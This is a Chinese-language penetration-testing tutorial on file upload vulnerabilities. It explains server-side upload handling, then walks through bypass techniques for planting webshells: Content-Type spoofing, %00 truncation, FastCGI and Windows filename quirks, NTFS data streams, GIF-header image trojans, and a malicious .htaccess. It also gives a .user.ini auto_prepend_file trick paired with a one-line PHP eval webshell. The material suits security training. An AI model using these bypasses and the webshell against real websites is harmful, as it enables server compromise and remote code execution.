文件上传的全过程:
1. 发送的文件
当用户通过表单上传文件时,文件会被发送到 Web 服务器。这个文件可能包含恶意代码或脚本,因此这个环节的处理至关重要。
2. 服务器接收
服务器接收到文件后,通常会将其存储在临时目录中。这个过程需要确保服务器能够正确处理文件并防止恶意文件的直接执行。注意!!!这里很多人会搞错,认为是先进行的网站程序前端判断,然后服务器再接收文件,其实当你上传文件的时候,服务器就已经不管三七二十一就已经接收了你的文件,哪怕里面是个一句话木马。
从这里就引申出来一个问题,webshell已经被传上去了,那不很危险吗?为啥不先经过网站检测,就开始胡乱接受文件?
哈哈哈,这里不妨各位思考一下这个有趣的问题。
这里先卖个关子,后面再介绍。
3. 网站程序判断
在将文件移动到最终存储位置之前,服务器上的应用程序通常会对文件进行各种检查。包括:
(1)文件类型验证:确认文件的扩展名和 MIME 类型,确保它符合预期的类型。例如,如果允许上传图片文件,应用程序应该检查文件是否是有效的图片格式。
(2)内容扫描:检查文件内容,确保其中没有恶意代码或脚本。尽管扩展名和 MIME 类型可以提供初步检查,但内容扫描可以帮助识别隐藏的恶意内容。
(3)文件大小限制:对文件大小进行限制,以防止过大的文件占用过多的存储空间或消耗过多的服务器资源。
当然现在的企业网站还会增加很多程序的判断,大同小异,这里就不赘述了。
4. 临时文件移动到指定路径
文件经过验证后,通常会被移动到最终的存储位置。这个位置应该是安全的,避免直接暴露给用户。常见的安全措施总结出来如下:
(1)路径安全:确保文件存储路径没有任何可以被利用的漏洞。避免使用用户提供的文件名作为存储路径的一部分,以防止目录遍历攻击(例如,../
)。
(2)执行权限:对于存储目录,最好禁用执行权限,以防止上传的脚本被执行,防止未经授权的访问。
(3)清理和监控:定期清理上传的文件,并监控文件上传活动,以检测异常或恶意行为。
总结出来就一句话:
发送的文件->服务器接收->网站程序判断->临时文件->移动到指定的路径
最后再解释一下为什么是先进行的服务器接收而不是网站程序判断:
其实问题的答案很简单,确实你的文件一开始都会被服务器接收,但是会被放在一个temp的目录里面,先上传上去到temp目录,后台监测,有问题直接移出,后台监测看还可以配合安全软件进行监测,哪怕上传到了木马在temp目录,但是temp这是低权限目录,程序一般不会执行,而且此时你也很难迅速知道文件的具体路径。而且哪怕最先进行前端的检测,也不会足够安全,前端的代码也是可以f12之类的逆向修改。
现在的很多企业网站都会做到temp目录监测,安全后才会转移到目标存放的目录,相当于提供了一个中转站。
文件上传常见招数:
文件上传其实就两步:
第一:分辨出来是前端和后端
第二:根据前端和后端常见的漏洞一一尝试。
ps:这个要记住:
文件上传错误代码
值:0; 没有错误发生,文件上传成功。
值:1; 上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。
值:2; 上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。
值:3; 文件只有部分被上传。
值:4; 没有文件被上传。
js前端检测绕过:
直接抓包改后缀就好,因为如果不上传符合网站要求的图片,是连包也抓不到的,当你能抓到包以后,你就已经突破了前端的防线,然后直接改包就好了。
后端检测:
1.字典爆破法
网站文件常见的后缀名:
asp
asa
cdx
cer
php
aspx
ashx
jsp
php3
php.a
shtml
phtml
首先你不知道哪些文件可以上传解析,哪些会被网站程序判断这一步给过滤掉。
所以直接采用爆破!
有些网站可以使用大小写过滤,比如某个网站把asp加入了黑名单,不解析里面的内容,但是关我Asp什么事,甚至可以AsP,大胆尝试,直到可以上传成功。
看到长度不同,就可以很清晰地看到哪个可以上传成功。
文件上传后缀爆破字典大全:
通过百度网盘分享的文件:1.txt
链接:https://pan.baidu.com/s/1UosNogu7VEsWz7vUWxurrw
提取码:190e
--来自百度网盘超级会员V4的分享
2.Content-type检测突破上传:
例子:经测试某网站只有jpg能上传成功,
但是当我上传php文件以后:
直接把png文件的Content-Type复制到php文件那边作为替换,发现直接上传成功。
3.%00截断
上传了shell.php%00.gif然后将%00URL-decode,就可以进行截断,我上传的是gif文件,但是我的php木马还是可以执行。
4.FAST-cgi配置错误
FastCGI(Fast Common Gateway Interface)是一种用于在 Web 服务器和应用程序之间高效地交换数据的协议。它是 CGI(Common Gateway Interface)的一个改进版本,旨在提高性能和可伸缩性。
服务器iis7.0|iis7.5|nginx 开启 fast-cgi(很多服务器都会开)
就会造成漏洞
当我上传1.jpg/.php时,
这里可以被解释成php然后解析木马webshell
5.系统特性
上传文件名a.php:.jpg的时候 会在目录下生成a.php的空白文件
php+window+iis
利用PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:
双引号" = 点号.
大于符号> = 问号?
小于符号< = 星号*
文件名.<或文件名.<<<或文件名.>>>或文件名.>><空文件名
写入filename.<<<
当你上传分号文件时就已经在对面的目录下面创建了一个文件,接下来发现有文件了
接下来改后缀为<<<
然后发现空白的文件已经被写入了木马(突破防火墙专用)
6、NTFS交换数据流
:$DATA 创建文件
::$DATA 创建和写入文件
直接在apt.php后面加入:$DATA
发现已经创建了空白文件
两个冒号的情况下发现木马已经写入文件里面。
6.点号漏洞
window系统里面会把文件名的最后一个点 会自动去掉
如上传moon.php.最后还是会变成moon.php
虽然我的文件上传的时候带有.但是我传到你的服务器的时候服务器会自动过滤最后的一个点
当然了两个点也是会被解除的。
7.空格绕过法
上传的时候在"moon.php "
服务器匹配的时候有时会匹配到空,所以上传成功。
8.文件头检测绕过
有很多的网站在进行文件的格式匹配时不仅看后缀,而且还会看到文件头
-
- JPEG (jpg),文件头:FFD8FF
- PNG (png),文件头:89504E47
- GIF (gif),文件头:47494638
- TIFF (tif),文件头:49492A00
如果看到你的文件头不是89504E47,那就判断你上传的不是png,那就不会上传成功。
所以必须得将你的木马文件的文件头进行一些伪装。
图片木马制作:copy 1.gif/b+moon.php shell.php
这个木马被很好地隐藏在了这张图片的结尾,然后文件头依旧是gif,但是只要上传成功后,木马就会夹带在里面,然后服务器一解析,就直接拿下。
9.重写解析漏洞
这个也就是著名的.haaceess漏洞
.htaccess
是 Apache Web 服务器用来配置目录级别的配置文件。它允许对特定目录或其子目录的配置进行设置,而不需要对主服务器配置文件进行更改。
先写一个.htaccess文件里面写入
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
然后再上传图片木马,然后也能进行对一些网站的绕过。
10.(.user.ini漏洞)
先把文件命名为.user.ini,然后在里面写入:
GIF89a
auto_prepend_file=1.jpg
然后创建一张1.jpg图片里面写入:
GIF89a
<?=eval($_REQUEST['cmd']);?>
这样可以实现双文件的上传对网站的绕过。
11.requests内容检测绕过
Step1:上传正常jpg文件,没有问题,上传一句话木马伪装的jpg文件,提示格式不对,上传图片马,提示文件格式不对
Step2:上传一个09.php.jpg,用BP抓包,修改request中的内容,实现文件欺骗,让木马能够正确上传。Gif文件对应的是:GIF89a即可上传成功。
12.双写绕过法
有些网站只会识别一次后缀,当你上传:1.pphphp
1,bp抓包
2.修改filename=“1.pphphp”
这里一定要在php里面写一个php,如果连着写都会被识别过滤。
3.直接可以连接蚁剑
希望文章能够帮助大家,谢谢!
文章内容参考:暗月渗透------《文件上传》